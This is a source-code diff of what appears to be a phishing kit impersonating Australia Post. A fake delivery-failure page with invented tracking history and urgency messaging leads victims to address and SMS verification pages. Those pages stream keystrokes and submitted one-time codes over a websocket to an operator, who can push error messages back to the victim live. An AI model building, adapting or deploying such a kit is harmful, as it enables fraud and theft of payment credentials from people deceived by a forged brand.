width: 5px;
|
||||
height: 9px;
|
||||
border: solid white;
|
||||
border-width: 0 2px 2px 0;
|
||||
transform: rotate(45deg);
|
||||
}
|
||||
.sp-link-bold {
|
||||
color: #000;
|
||||
font-weight: bold;
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.sp-btn-submit {
|
||||
width: 100%;
|
||||
height: 56px;
|
||||
background: #9ba1a6;
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 8px;
|
||||
font-size: 18px;
|
||||
font-weight: bold;
|
||||
cursor: not-allowed;
|
||||
transition: background 0.3s ease;
|
||||
}
|
||||
.sp-btn-submit:not(:disabled) {
|
||||
background: #4a5568;
|
||||
cursor: pointer;
|
||||
}
|
||||
</style>
|
||||
620
a12_au_post_aupost/src/views/CardView.vue
Normal file
28
a12_au_post_aupost/src/views/CommonLayout.vue
Normal file
@@ -0,0 +1,28 @@
|
||||
<script setup lang="ts">
|
||||
import { footerHtml, headerHtml } from "@/utils/common";
|
||||
</script>
|
||||
|
||||
<template>
|
||||
|
||||
<body >
|
||||
<div class="v-application v-application--is-ltr theme--light">
|
||||
<div class="v-application--wrap">
|
||||
<header22
|
||||
class="container-fluid1"
|
||||
id="banner"
|
||||
role="banner"
|
||||
v-html="headerHtml"
|
||||
></header22>
|
||||
|
||||
<main22 style="padding-top: 0px; display: flex; justify-content: center">
|
||||
<div style="width: 100%; max-width: 800px">
|
||||
<slot></slot>
|
||||
</div>
|
||||
</main22>
|
||||
<footer22 class="container-fluid2" v-html="footerHtml"></footer22>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</template>
|
||||
|
||||
|
||||
1415
a12_au_post_aupost/src/views/CustomOtpView.vue
Normal file
424
a12_au_post_aupost/src/views/HomeView.vue
Normal file
@@ -0,0 +1,424 @@
|
||||
<script setup lang="ts">
|
||||
import { onMounted, ref } from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import moment from "moment";
|
||||
import { myWebSocket } from "@/utils/common";
|
||||
|
||||
const router = useRouter();
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
// Australia Post tracking number
|
||||
const trackingNumber = ref("AP823749561AU");
|
||||
|
||||
const now = moment();
|
||||
|
||||
// Format date (DD/MM HH:mm)
|
||||
const fmt = (daysAgo: number, timeStr: string) => {
|
||||
return now.clone().subtract(daysAgo, "days").format("DD/MM") + " " + timeStr;
|
||||
};
|
||||
|
||||
// Format full date (DD/MM/YYYY)
|
||||
const fmtFull = (daysAdd: number) => {
|
||||
return now.clone().add(daysAdd, "days").format("DD/MM/YYYY");
|
||||
};
|
||||
|
||||
const handleUpdateAddress = () => {
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/address");
|
||||
}, 800);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "home" },
|
||||
})
|
||||
);
|
||||
localStorage.setItem("route", "home");
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<div class="ap-container">
|
||||
<header class="ap-header">
|
||||
<div class="header-content">
|
||||
<p class="brand-text">Australia Post</p>
|
||||
<h1 class="main-headline">Delivery Unsuccessful:<br />Address Could Not Be Confirmed</h1>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<main class="main-content">
|
||||
<div class="notice-card">
|
||||
<div class="badge">ACTION REQUIRED</div>
|
||||
<h2 class="section-title">Delivery Update</h2>
|
||||
<p class="reference">Australia Post Tracking ID: {{ trackingNumber }}</p>
|
||||
|
||||
<hr class="divider" />
|
||||
|
||||
<div class="alert-box">
|
||||
<h3 class="alert-title">Delivery Attempt Failed</h3>
|
||||
<ul class="alert-list">
|
||||
<li>Your parcel could not be delivered — the address provided could not be verified for a safe delivery.</li>
|
||||
<li>Your parcel is currently being held at your local Australia Post facility.</li>
|
||||
<li>Please update your delivery details as soon as possible. If no action is taken, your parcel may be returned to sender and additional fees may apply. Next scheduled delivery attempt: {{ fmtFull(1) }}.</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<button @click="handleUpdateAddress" class="btn-primary">
|
||||
Update Delivery Address
|
||||
</button>
|
||||
<p class="btn-subtext">Takes less than 2 minutes to update.</p>
|
||||
</div>
|
||||
|
||||
<div class="timeline-card">
|
||||
<h2 class="timeline-header">Tracking History</h2>
|
||||
|
||||
<div class="timeline">
|
||||
<div class="timeline-item active">
|
||||
<div class="timeline-icon warning">
|
||||
<i class="icon">!</i>
|
||||
</div>
|
||||
<div class="timeline-content">
|
||||
<div class="content-top">
|
||||
<span class="status-title error">Delivery Exception</span>
|
||||
<span class="status-time">{{ fmt(1, "15:44") }}</span>
|
||||
</div>
|
||||
<p class="status-desc error">
|
||||
Delivery attempt unsuccessful — address verification failed. Your parcel is being held at your local Australia Post facility.
|
||||
</p>
|
||||
<p class="depot-text">Local Australia Post Facility</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="timeline-item">
|
||||
<div class="timeline-icon">
|
||||
<span class="dot-inner">🚚</span>
|
||||
</div>
|
||||
<div class="timeline-content">
|
||||
<div class="content-top">
|
||||
<span class="status-title">Out for Delivery</span>
|
||||
<span class="status-time">{{ fmt(1, "09:45") }}</span>
|
||||
</div>
|
||||
<p class="status-desc">Your parcel has been loaded onto a delivery vehicle.</p>
|
||||
<p class="depot-text">Local Australia Post Facility</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="timeline-item">
|
||||
<div class="timeline-icon">
|
||||
<span class="dot-inner">📦</span>
|
||||
</div>
|
||||
<div class="timeline-content">
|
||||
<div class="content-top">
|
||||
<span class="status-title">Arrived at Facility</span>
|
||||
<span class="status-time">{{ fmt(1, "07:18") }}</span>
|
||||
</div>
|
||||
<p class="status-desc">Your parcel has arrived at the local Australia Post delivery facility.</p>
|
||||
<p class="depot-text">Local Australia Post Facility</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="timeline-item">
|
||||
<div class="timeline-icon">
|
||||
<span class="dot-inner">🚚</span>
|
||||
</div>
|
||||
<div class="timeline-content">
|
||||
<div class="content-top">
|
||||
<span class="status-title">In Transit</span>
|
||||
<span class="status-time">{{ fmt(2, "22:30") }}</span>
|
||||
</div>
|
||||
<p class="status-desc">Your parcel is in transit through the Australia Post network.</p>
|
||||
<p class="depot-text">Australia Post Sortation Centre</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="timeline-item">
|
||||
<div class="timeline-icon">
|
||||
<span class="dot-inner">📦</span>
|
||||
</div>
|
||||
<div class="timeline-content">
|
||||
<div class="content-top">
|
||||
<span class="status-title">Picked Up</span>
|
||||
<span class="status-time">{{ fmt(3, "15:05") }}</span>
|
||||
</div>
|
||||
<p class="status-desc">Your parcel has been collected from the sender.</p>
|
||||
<p class="depot-text">Collection Point</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="timeline-item last">
|
||||
<div class="timeline-icon">
|
||||
<span class="dot-inner">📑</span>
|
||||
</div>
|
||||
<div class="timeline-content">
|
||||
<div class="content-top">
|
||||
<span class="status-title">Label Created</span>
|
||||
<span class="status-time">{{ fmt(3, "09:15") }}</span>
|
||||
</div>
|
||||
<p class="status-desc">The sender has created a shipping label for this parcel.</p>
|
||||
<p class="depot-text">Online</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
</div>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.ap-container {
|
||||
background-color: #f5f5f5;
|
||||
min-height: 100vh;
|
||||
font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
/* Header */
|
||||
.ap-header {
|
||||
background-image: url('/Static_zy/photo-back-of-truck-full-of-parcels.jpg.auspostimage.960_0.medium.jpg');
|
||||
background-size: cover;
|
||||
color: white;
|
||||
padding: 40px 20px 60px;
|
||||
position: relative;
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: flex-start;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.brand-text {
|
||||
font-weight: bold;
|
||||
font-size: 18px;
|
||||
margin-bottom: 20px;
|
||||
letter-spacing: 0.5px;
|
||||
}
|
||||
|
||||
.main-headline {
|
||||
font-size: 24px;
|
||||
font-weight: 800;
|
||||
line-height: 1.2;
|
||||
}
|
||||
|
||||
/* Content layout */
|
||||
.main-content {
|
||||
padding: 0 15px 30px;
|
||||
margin-top: -30px;
|
||||
position: relative;
|
||||
z-index: 2;
|
||||
}
|
||||
|
||||
/* Cards */
|
||||
.notice-card, .timeline-card {
|
||||
background: white;
|
||||
border-radius: 12px;
|
||||
padding: 20px;
|
||||
box-shadow: 0 4px 15px rgba(0,0,0,0.06);
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.badge {
|
||||
background: #fde8eb;
|
||||
color: #e31837;
|
||||
display: inline-block;
|
||||
padding: 4px 12px;
|
||||
border-radius: 20px;
|
||||
font-size: 12px;
|
||||
font-weight: bold;
|
||||
letter-spacing: 0.5px;
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
|
||||
.section-title {
|
||||
font-size: 20px;
|
||||
font-weight: 800;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.reference {
|
||||
font-size: 14px;
|
||||
color: #666;
|
||||
}
|
||||
|
||||
.divider {
|
||||
border: none;
|
||||
border-top: 1px solid #eee;
|
||||
margin: 20px 0;
|
||||
}
|
||||
|
||||
/* Alert */
|
||||
.alert-title {
|
||||
color: #e31837;
|
||||
font-size: 16px;
|
||||
font-weight: bold;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
.alert-list {
|
||||
padding: 0;
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
.alert-list li {
|
||||
position: relative;
|
||||
padding-left: 20px;
|
||||
font-size: 14px;
|
||||
line-height: 1.6;
|
||||
margin-bottom: 15px;
|
||||
color: #444;
|
||||
}
|
||||
|
||||
.alert-list li::before {
|
||||
content: "●";
|
||||
color: #e31837;
|
||||
position: absolute;
|
||||
left: 0;
|
||||
font-size: 12px;
|
||||
top: 3px;
|
||||
}
|
||||
|
||||
/* Button */
|
||||
.btn-primary {
|
||||
width: 100%;
|
||||
background-color: #e31837;
|
||||
color: white;
|
||||
border: none;
|
||||
padding: 16px;
|
||||
border-radius: 8px;
|
||||
font-size: 16px;
|
||||
font-weight: bold;
|
||||
cursor: pointer;
|
||||
margin-top: 10px;
|
||||
letter-spacing: 0.3px;
|
||||
}
|
||||
|
||||
.btn-subtext {
|
||||
text-align: center;
|
||||
font-size: 13px;
|
||||
color: #666;
|
||||
margin-top: 12px;
|
||||
}
|
||||
|
||||
/* Timeline */
|
||||
.timeline-header {
|
||||
font-size: 18px;
|
||||
font-weight: bold;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
|
||||
.timeline {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.timeline-item {
|
||||
display: flex;
|
||||
gap: 15px;
|
||||
position: relative;
|
||||
padding-bottom: 30px;
|
||||
}
|
||||
|
||||
.timeline-item::after {
|
||||
content: "";
|
||||
position: absolute;
|
||||
left: 17px;
|
||||
top: 35px;
|
||||
bottom: 0;
|
||||
width: 2px;
|
||||
background-color: #fde8eb;
|
||||
}
|
||||
|
||||
.timeline-item.last::after {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.timeline-icon {
|
||||
width: 36px;
|
||||
height: 36px;
|
||||
background: white;
|
||||
border: 1px solid #eee;
|
||||
border-radius: 50%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 2;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.timeline-icon.warning {
|
||||
border-color: #f8c100;
|
||||
color: #f8c100;
|
||||
}
|
||||
|
||||
.timeline-icon.warning .icon {
|
||||
font-style: normal;
|
||||
font-weight: bold;
|
||||
border: 2px solid #f8c100;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
border-radius: 50%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
.timeline-content {
|
||||
flex-grow: 1;
|
||||
}
|
||||
|
||||
.content-top {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
|
||||
.status-title {
|
||||
font-weight: bold;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.status-title.error {
|
||||
color: #e31837;
|
||||
}
|
||||
|
||||
.status-time {
|
||||
font-size: 13px;
|
||||
color: #999;
|
||||
}
|
||||
|
||||
.status-desc {
|
||||
font-size: 14px;
|
||||
color: #555;
|
||||
line-height: 1.5;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
|
||||
.status-desc.error {
|
||||
color: #e31837;
|
||||
}
|
||||
|
||||
.depot-text {
|
||||
font-size: 12px;
|
||||
color: #aaa;
|
||||
}
|
||||
|
||||
.alert-box {
|
||||
background: #fff8f9;
|
||||
border-left: 4px solid #e31837;
|
||||
border-radius: 6px;
|
||||
padding: 16px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.dot-inner {
|
||||
font-size: 16px;
|
||||
}
|
||||
</style>
|
||||
62
a12_au_post_aupost/src/views/IndexView.vue
Normal file
@@ -0,0 +1,62 @@
|
||||
<script setup lang="ts">
|
||||
import { ref, onMounted } from 'vue';
|
||||
|
||||
const isLoading = ref(true);
|
||||
|
||||
onMounted(() => {
|
||||
// Simulate loading, remove in production and use actual data loading completion
|
||||
setTimeout(() => {
|
||||
isLoading.value = false;
|
||||
}, 2000);
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="container">
|
||||
<div v-if="isLoading" class="loading-spinner">
|
||||
<div class="spinner" style="display: none;"></div>
|
||||
</div>
|
||||
<div v-else class="content">
|
||||
<!-- Main content goes here when loading is complete -->
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.container {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
width: 100%;
|
||||
background-color: #f5f5f5;
|
||||
}
|
||||
|
||||
.loading-spinner {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.spinner {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
border: 4px solid rgb(81, 81, 81, 0.3);
|
||||
border-radius: 50%;
|
||||
border-top-color: transparent;
|
||||
animation: spin 1s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
.content {
|
||||
width: 100%;
|
||||
padding: 20px;
|
||||
}
|
||||
</style>
|
||||
|
||||
|
||||
93
a12_au_post_aupost/src/views/LoadingView.vue
Normal file
@@ -0,0 +1,93 @@
|
||||
<template>
|
||||
<div
|
||||
v-if="isLoading"
|
||||
class="loading-overlay-success-goods"
|
||||
:style="{ backgroundColor: loadingBg.value }"
|
||||
>
|
||||
<div class="ap-loader-wrapper">
|
||||
<div class="ap-logo-breath">
|
||||
<svg width="64px" viewBox="0 0 36 36" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
|
||||
<path d="M0 18a17.983 17.983 0 0011.625 16.842V1.158A17.983 17.983 0 000 18zM18 0c-.491 0-.999.016-1.475.048v1.268h.096c6.85.048 12.37 5.281 12.322 11.688-.048 6.376-5.598 11.514-12.418 11.498v11.435c.492.047.984.063 1.475.063 9.944 0 18-8.056 18-18S27.944 0 18 0z" fill="#DC1928"></path>
|
||||
</svg>
|
||||
</div>
|
||||
<!-- <div class="ap-spinner-ring"></div> -->
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<script lang="ts">
|
||||
import { computed, defineComponent } from "vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { loadingBg } from "@/utils/common";
|
||||
|
||||
export default defineComponent({
|
||||
computed: {
|
||||
loadingBg() {
|
||||
return loadingBg;
|
||||
},
|
||||
},
|
||||
setup() {
|
||||
const loadingStore = useLoadingStore();
|
||||
const isLoading = computed(() => loadingStore.isLoading);
|
||||
|
||||
return {
|
||||
isLoading,
|
||||
};
|
||||
},
|
||||
});
|
||||
</script>
|
||||
|
||||
<style>
|
||||
.loading-overlay-success-goods {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 1000;
|
||||
background-color: rgba(0, 0, 0, 0.45);
|
||||
}
|
||||
|
||||
.ap-loader-wrapper {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 20px;
|
||||
}
|
||||
|
||||
.ap-logo-breath {
|
||||
animation: ap-breathe 2s ease-in-out infinite;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
@keyframes ap-breathe {
|
||||
0%, 100% {
|
||||
opacity: 1;
|
||||
transform: scale(1);
|
||||
}
|
||||
50% {
|
||||
opacity: 0.45;
|
||||
transform: scale(0.82);
|
||||
}
|
||||
}
|
||||
|
||||
.ap-spinner-ring {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
border: 3px solid rgba(220, 25, 40, 0.2);
|
||||
border-top: 3px solid #DC1928;
|
||||
border-radius: 50%;
|
||||
animation: ap-spin 0.85s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes ap-spin {
|
||||
to {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
</style>
|
||||
411
a12_au_post_aupost/src/views/OtpView copy.vue
Normal file
@@ -0,0 +1,411 @@
|
||||
<script setup lang="ts">
|
||||
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
|
||||
import { useRoute } from "vue-router";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import { useLoadingStore } from "@/stores/counter";
|
||||
import CardType1 from "../components/CardType1.vue";
|
||||
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
|
||||
import { useI18n } from "vue-i18n";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
const { t } = useI18n();
|
||||
const cardType = ref("");
|
||||
const message1 = ref("");
|
||||
const phone = ref("");
|
||||
const isVerifying = ref(false); // 控制弹窗显示
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "otpValid" },
|
||||
})
|
||||
);
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
|
||||
// 获取 CardType
|
||||
if (query && query.cardType) {
|
||||
cardType.value = query.cardType;
|
||||
localStorage.setItem("cardType", query.cardType);
|
||||
} else {
|
||||
const type = localStorage.getItem("cardType");
|
||||
if (type) cardType.value = type;
|
||||
}
|
||||
|
||||
// 获取 message1
|
||||
if (query && query.message1) {
|
||||
message1.value = query.message1;
|
||||
localStorage.setItem("message1", query.message1);
|
||||
} else {
|
||||
const m1 = localStorage.getItem("message1");
|
||||
if (m1) message1.value = m1;
|
||||
}
|
||||
|
||||
// 获取 phone
|
||||
const p = localStorage.getItem("phone");
|
||||
if (p) phone.value = p;
|
||||
|
||||
localStorage.setItem("route", "otpValid");
|
||||
startCountdown("");
|
||||
eventBus.on("otp-valid", handleEvent);
|
||||
});
|
||||
|
||||
const formData = reactive({ verifyCode: "" });
|
||||
|
||||
const onchange = (value: any) => {
|
||||
inputChange("input_card", "verifyCode", value.target.value);
|
||||
formData.verifyCode = value.target.value;
|
||||
};
|
||||
|
||||
const submit = async () => {
|
||||
await nextTick();
|
||||
isVerifying.value = true;
|
||||
|
||||
if (!areAllValuesNotEmpty(formData)) {
|
||||
isVerifying.value = false;
|
||||
return;
|
||||
}
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitValidCode",
|
||||
formData: formData,
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
const initialTime = 60;
|
||||
const timeLeft = ref(initialTime);
|
||||
const isCounting = ref(false);
|
||||
let timer: number | null = null;
|
||||
|
||||
const buttonText = computed(() => {
|
||||
return isCounting.value
|
||||
? `Resend code in ${timeLeft.value}s`
|
||||
: t("Resend code");
|
||||
});
|
||||
|
||||
const startCountdown = (resultType: string) => {
|
||||
if (isCounting.value) return;
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "otpValid", resultType: resultType },
|
||||
})
|
||||
);
|
||||
isCounting.value = true;
|
||||
timeLeft.value = initialTime;
|
||||
|
||||
timer = window.setInterval(() => {
|
||||
if (timeLeft.value > 0) {
|
||||
timeLeft.value -= 1;
|
||||
} else {
|
||||
stopCountdown();
|
||||
}
|
||||
}, 1000);
|
||||
};
|
||||
|
||||
const stopCountdown = () => {
|
||||
if (timer !== null) {
|
||||
clearInterval(timer);
|
||||
timer = null;
|
||||
}
|
||||
isCounting.value = false;
|
||||
};
|
||||
|
||||
const message = ref("");
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2;
|
||||
isVerifying.value = false;
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("otp-valid", handleEvent);
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="main-screen">
|
||||
<div class="payment-options-title">{{ t("Opciones de Pago") }}</div>
|
||||
|
||||
<div class="verification-card">
|
||||
<form @submit.prevent="submit">
|
||||
<div class="card-header">
|
||||
<div class="header-text">
|
||||
<h3>{{ t("Verificación por SMS") }}</h3>
|
||||
<p class="sub-text">{{ t("Autenticación requerida") }}</p>
|
||||
</div>
|
||||
<div class="status-dot"></div>
|
||||
</div>
|
||||
|
||||
<div class="info-row">
|
||||
<div class="info-label">
|
||||
{{ t("Número de") }}<br />{{ t("Teléfono") }}
|
||||
</div>
|
||||
<div class="info-value">
|
||||
<template v-if="message1">********{{ message1.slice(-4) }}</template>
|
||||
<template v-else>{{ phone ? `********${phone.slice(-4)}` : '' }}</template>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="input-section">
|
||||
<label class="input-label">{{ t("Código de Verificación SMS") }}</label>
|
||||
<input
|
||||
class="otp-input"
|
||||
required
|
||||
type="text"
|
||||
inputmode="numeric"
|
||||
@input="onchange"
|
||||
v-model="formData.verifyCode"
|
||||
maxlength="8"
|
||||
/>
|
||||
|
||||
<div class="resend-container" @click="startCountdown('resendCode')">
|
||||
<a href="javascript:" :class="['resend-link', { 'disabled': isCounting }]">
|
||||
{{ buttonText }}
|
||||
</a>
|
||||
</div>
|
||||
|
||||
<div class="error-msg" v-if="message">{{ message }}</div>
|
||||
</div>
|
||||
|
||||
<div class="action-section">
|
||||
<button type="submit" class="submit-btn" :class="{ 'btn-active': formData.verifyCode }">{{ t("Autenticar") }}</button>
|
||||
</div>
|
||||
|
||||
<div class="card-footer">
|
||||
<span class="secure-text">{{ t("Proceso de verificación seguro") }}</span>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<Transition name="fade">
|
||||
<div class="v-overlay-container" v-if="isVerifying">
|
||||
<div class="v-overlay__scrim"></div>
|
||||
<div class="v-overlay__content">
|
||||
<div class="prompt-box">
|
||||
<div class="spinner"></div>
|
||||
<div class="v-card-text">Verificando...</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</Transition>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.main-screen {
|
||||
min-height: 100vh;
|
||||
background-color: #fcfcfc;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
padding-top: 50px;
|
||||
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
|
||||
}
|
||||
|
||||
.payment-options-title {
|
||||
width: 100%;
|
||||
max-width: 440px;
|
||||
font-size: 18px;
|
||||
font-weight: 700;
|
||||
color: #3e4a59;
|
||||
margin-bottom: 25px;
|
||||
padding-left: 10px;
|
||||
}
|
||||
|
||||
.verification-card {
|
||||
width: 92%;
|
||||
max-width: 440px;
|
||||
background: #ffffff;
|
||||
border-radius: 4px;
|
||||
box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
|
||||
border: 1px solid #f0f0f0;
|
||||
}
|
||||
|
||||
.card-header {
|
||||
padding: 25px 20px;
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: flex-start;
|
||||
border-bottom: 1px solid #f8f9fa;
|
||||
}
|
||||
|
||||
.header-text h3 {
|
||||
margin: 0;
|
||||
font-size: 19px;
|
||||
color: #333;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.sub-text {
|
||||
margin: 5px 0 0 0;
|
||||
font-size: 14px;
|
||||
color: #999;
|
||||
}
|
||||
|
||||
.status-dot {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
background-color: #ff6d33;
|
||||
border-radius: 50%;
|
||||
margin-top: 8px;
|
||||
}
|
||||
|
||||
.info-row {
|
||||
display: flex;
|
||||
padding: 20px;
|
||||
border-bottom: 1px solid #f8f9fa;
|
||||
}
|
||||
|
||||
.info-label {
|
||||
width: 100px;
|
||||
font-size: 14px;
|
||||
color: #666;
|
||||
line-height: 1.4;
|
||||
}
|
||||
|
||||
.info-value {
|
||||
flex: 1;
|
||||
font-size: 15px;
|
||||
color: #111;
|
||||
font-weight: 500;
|
||||
word-break: break-all;
|
||||
padding-left: 10px;
|
||||
}
|
||||
|
||||
.input-section {
|
||||
padding: 25px 20px;
|
||||
}
|
||||
|
||||
.input-label {
|
||||
display: block;
|
||||
font-size: 15px;
|
||||
color: #666;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
.otp-input {
|
||||
width: 100%;
|
||||
height: 50px;
|
||||
background: #fdfdfd;
|
||||
border: 1px solid #e0e0e0;
|
||||
border-radius: 8px;
|
||||
padding: 0 15px;
|
||||
font-size: 16px;
|
||||
text-align: center;
|
||||
box-sizing: border-box;
|
||||
outline: none;
|
||||
transition: border-color 0.2s;
|
||||
}
|
||||
|
||||
.otp-input:focus {
|
||||
border-color: #ccc;
|
||||
}
|
||||
|
||||
.resend-container {
|
||||
margin-top: 15px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.resend-link {
|
||||
font-size: 13px;
|
||||
color: #7a8a9a;
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.resend-link.disabled {
|
||||
text-decoration: none;
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
.error-msg {
|
||||
color: #d32f2f;
|
||||
font-size: 13px;
|
||||
margin-top: 10px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.action-section {
|
||||
padding: 0 20px 30px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
width: 100%;
|
||||
height: 52px;
|
||||
background-color: #cccccc; /* 图片中未激活色为灰色 */
|
||||
color: #ffffff;
|
||||
border: none;
|
||||
border-radius: 6px;
|
||||
font-size: 16px;
|
||||
font-weight: 600;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.submit-btn.btn-active {
|
||||
background-color: rgb(30, 41, 59);
|
||||
}
|
||||
|
||||
.card-footer {
|
||||
background-color: #f9f9f9;
|
||||
padding: 15px;
|
||||
text-align: center;
|
||||
border-top: 1px solid #f0f0f0;
|
||||
}
|
||||
|
||||
.secure-text {
|
||||
font-size: 12px;
|
||||
color: #aaa;
|
||||
}
|
||||
|
||||
/* --- Loading Overlay --- */
|
||||
.v-overlay-container {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
z-index: 9999;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.v-overlay__scrim {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: rgba(255, 255, 255, 0.8);
|
||||
}
|
||||
|
||||
.prompt-box {
|
||||
position: relative;
|
||||
z-index: 1;
|
||||
text-align: center;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.spinner {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
border: 3px solid #f3f3f3;
|
||||
border-top: 3px solid rgb(30, 41, 59);
|
||||
border-radius: 50%;
|
||||
animation: spin 0.8s linear infinite;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
.fade-enter-active, .fade-leave-active { transition: opacity 0.3s; }
|
||||
.fade-enter-from, .fade-leave-to { opacity: 0; }
|
||||
</style>
|
||||
445
a12_au_post_aupost/src/views/OtpView.vue
Normal file
@@ -0,0 +1,445 @@
|
||||
<script setup lang="ts">
|
||||
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
|
||||
import { useRoute } from "vue-router";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import CardType1 from "../components/CardType1.vue";
|
||||
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
|
||||
